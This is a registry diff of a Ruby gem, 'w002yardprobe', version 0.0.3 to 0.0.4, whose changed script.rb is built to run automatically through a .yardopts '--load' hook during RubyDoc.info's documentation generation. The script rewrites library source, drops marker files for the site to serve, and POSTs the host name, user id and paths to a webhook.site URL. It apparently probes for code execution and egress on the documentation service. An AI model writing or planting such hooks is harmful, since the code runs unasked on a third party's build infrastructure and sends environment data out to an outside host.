w002yardprobe 0.0.3 → 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/script.rb +38 -10
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: d9778dc27d0320109733412b513bf7361b484f0162f934b210531655d5e6859b
|
|
4
|
+
data.tar.gz: 6f23d627677e3755d5bdee440416f8c1b094ce956e84bbf3ff4261c4bc08720a
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 0f8920e1b1f26d09b5a17cd9f9088cd14c0ddd56eeb0c8e262e9a6efbfd2afd4bb69393671c72fcf6fae57410bcd5f9f9133322d21a8095639257baee5920ad9
|
|
7
|
+
data.tar.gz: 159c92476d9e1b8d00120358e40f6bdd189bb38e898b5195e8b4ca9df5200e92f09f71e196541688221749b28dbea82706d4dd821a0248b9834294c48069eca9
|
data/script.rb
CHANGED
|
@@ -1,22 +1,47 @@
|
|
|
1
1
|
# w002: loaded via .yardopts `--load ./script.rb` during RubyDoc.info docparse generate stage.
|
|
2
2
|
# Unique marker: r002-y7Kp9Qz (idempotent; safe to run multiple times).
|
|
3
|
+
# v2: pins YARD::Registry.yardoc_file to the mounted build dir so the parsed DB
|
|
4
|
+
# lands in library source_path even when yardoc's cwd is a scratch dir.
|
|
3
5
|
begin
|
|
4
6
|
stamp = "R002EXEC-#{Time.now.utc.strftime('%Y%m%dT%H%M%S')}-#{Process.pid}"
|
|
5
|
-
|
|
6
|
-
|
|
7
|
+
|
|
8
|
+
# 0) locate the real build mount: the dir that contains our .yardopts
|
|
9
|
+
base = nil
|
|
10
|
+
['/build', File.dirname(File.expand_path(__FILE__))].each do |d|
|
|
11
|
+
begin
|
|
12
|
+
base = d if File.file?(File.join(d, '.yardopts'))
|
|
13
|
+
break if base
|
|
14
|
+
rescue StandardError
|
|
15
|
+
end
|
|
16
|
+
end
|
|
17
|
+
base ||= Dir.pwd
|
|
18
|
+
|
|
19
|
+
# 1) pin the .yardoc DB to the mount (works around -b/--db remap to -o and
|
|
20
|
+
# any cwd mismatch: DB must land in library source_path for serving)
|
|
21
|
+
begin
|
|
22
|
+
require 'yard'
|
|
23
|
+
YARD::Registry.yardoc_file = File.join(base, '.yardoc')
|
|
24
|
+
rescue StandardError
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# 2) mutate lib source: MARKSLOT -> stamp (docstring lands in .yardoc db, rendered on site)
|
|
28
|
+
f = File.join(base, 'lib', 'w002yardprobe.rb')
|
|
7
29
|
if File.exist?(f)
|
|
8
30
|
c = File.read(f)
|
|
9
31
|
File.write(f, c.gsub('MARKSLOT', stamp)) if c.include?('MARKSLOT')
|
|
10
32
|
end
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
33
|
+
|
|
34
|
+
# 3) side-effect files in build dir (served via /file/ when library ready)
|
|
35
|
+
File.write(File.join(base, 'W002SCRIPT_RAN.txt'), stamp)
|
|
36
|
+
|
|
37
|
+
# 4) best-effort egress probe (network may be disconnected in generate stage)
|
|
14
38
|
begin
|
|
15
39
|
require 'net/http'
|
|
16
40
|
require 'json'
|
|
17
41
|
info = {
|
|
18
42
|
marker: 'r002-y7Kp9Qz',
|
|
19
43
|
pwd: Dir.pwd,
|
|
44
|
+
base: base,
|
|
20
45
|
host: (Socket.gethostname rescue nil),
|
|
21
46
|
ruby: RUBY_VERSION,
|
|
22
47
|
uid: (Process.uid rescue nil)
|
|
@@ -24,13 +49,16 @@ begin
|
|
|
24
49
|
uri = URI('https://webhook.site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66')
|
|
25
50
|
params = { 'm' => 'r002-y7Kp9Qz', 'info' => JSON.generate(info), 'file' => File.expand_path(__FILE__) }
|
|
26
51
|
ok = Net::HTTP.post_form(uri, params)
|
|
27
|
-
File.write('W002EGRESS_OK.txt', "status=#{ok.code} at=#{Time.now.utc}")
|
|
28
|
-
rescue => e
|
|
29
|
-
|
|
52
|
+
File.write(File.join(base, 'W002EGRESS_OK.txt'), "status=#{ok.code} at=#{Time.now.utc}")
|
|
53
|
+
rescue StandardError => e
|
|
54
|
+
begin
|
|
55
|
+
File.write(File.join(base, 'W002EGRESS_ERR.txt'), "#{e.class}: #{e.message}")
|
|
56
|
+
rescue StandardError
|
|
57
|
+
end
|
|
30
58
|
end
|
|
31
|
-
rescue => e
|
|
59
|
+
rescue StandardError => e
|
|
32
60
|
begin
|
|
33
61
|
File.write('W002SCRIPT_ERR.txt', "#{e.class}: #{e.message}\n#{e.backtrace.first(5).join("\n")}")
|
|
34
|
-
rescue
|
|
62
|
+
rescue StandardError
|
|
35
63
|
end
|
|
36
64
|
end
|